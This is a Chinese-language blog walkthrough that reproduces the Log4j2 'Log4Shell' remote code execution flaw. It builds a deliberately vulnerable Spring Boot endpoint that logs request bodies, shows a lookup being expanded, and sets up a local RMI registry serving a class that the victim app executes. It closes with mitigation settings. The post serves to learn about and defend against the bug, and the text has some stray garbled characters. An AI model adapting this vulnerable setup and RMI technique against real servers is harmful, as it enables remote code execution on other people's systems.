1. 前景提要
Log4j史詩級漏洞這幾天鬧的沸沸揚(yáng)揚(yáng),讓我也想一探究竟刺桃,到底是怎么觸發(fā)的粹淋。
2. 搭建一個(gè)集成Log4j的SpringBoot項(xiàng)目
根據(jù)spring官網(wǎng)的指引吸祟,創(chuàng)建一個(gè)springboot項(xiàng)目瑟慈,然后對pom文件進(jìn)行一個(gè)修改
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
</dependencies>
2.1 查看引入的依賴
可以看到我引入的log4j的依賴是2.15.0版本以下的桃移,也就是會觸發(fā)這個(gè)bug的
2.2 寫一個(gè)常用的接口接受外部傳入的參數(shù)
package run.runnable.learn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.annotation.PostConstruct;
@SpringBootApplication
@Controller
public class LearnApplication {
private static final Logger logger = LogManager.getLogger(LearnApplication.class);
public static void main(String[] args) {
SpringApplication.run(LearnApplication.class, args);
}
@PostMapping("/hack")
@ResponseBody
public String testHackExecute(@RequestBody String content){
logger.info("content:{}", content);
return content;
}
}
這里寫了一個(gè)hack的接口,當(dāng)接口有參數(shù)傳入的時(shí)候葛碧,會進(jìn)行打印借杰,這種代碼大家?guī)缀醵加袑戇^的吧。這也是這個(gè)漏洞非常嚴(yán)重的原因之一:易于觸發(fā)
3. 測試漏洞
3.1 傳入指定參數(shù)打印vm信息
使用postman進(jìn)行調(diào)用接口进泼,可以看到成功返回蔗衡。
讓我們?nèi)ハ到y(tǒng)的日志看看,打印不是 ${java:vm}
乳绕,而是JDK的信息绞惦!
3.2 測試rmi遠(yuǎn)程調(diào)用
如果僅僅只是上面的那種情況還好說,至少只是生成一些錯誤日志洋措,但是這個(gè)rmi遠(yuǎn)程調(diào)用的危害就很大济蝉。
讓我們先用java原生的rmi寫一個(gè)注冊中心,然后注冊一個(gè)服務(wù)
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
System.out.println("service started");
registry.bind("hack", referenceWrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
再一個(gè)可以被執(zhí)行的類
public class HackExecute {
static {
System.out.println("HackExecute:Successful execution");
}
}
我們把上面的服務(wù)rmi服務(wù)進(jìn)行啟動菠发,然后使用postman進(jìn)行調(diào)用王滤。
當(dāng)我們在控制臺進(jìn)行日志查看的時(shí)候,你就會發(fā)現(xiàn)滓鸠,rmi遠(yuǎn)程調(diào)用被成功執(zhí)行了雁乡!
這意味著我可以把自己寫的代碼,通過這種方式在對方的服務(wù)器進(jìn)行執(zhí)行糜俗,不愧是史詩級漏洞踱稍。
4. 緊急補(bǔ)救措施
(1) 修改jvm參數(shù) -Dlog4j2.formatMsgNoLookups=true
(2) 修改配置log4j2.formatMsgNoLookups=True
(3) 將系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為 true
4. 相關(guān)資料
Apache 存在 Log4j 遠(yuǎn)程代碼執(zhí)行漏洞,將給相關(guān)企業(yè)帶來哪些影響悠抹?還有哪些信息值得關(guān)注寞射? - nlfox的回答 - 知乎
【重要通知】關(guān)于Apache Log4j 2遠(yuǎn)程代碼執(zhí)行最新漏洞的風(fēng)險(xiǎn)提示
歡迎關(guān)注我的菠蘿的博客 ,獲得最新更新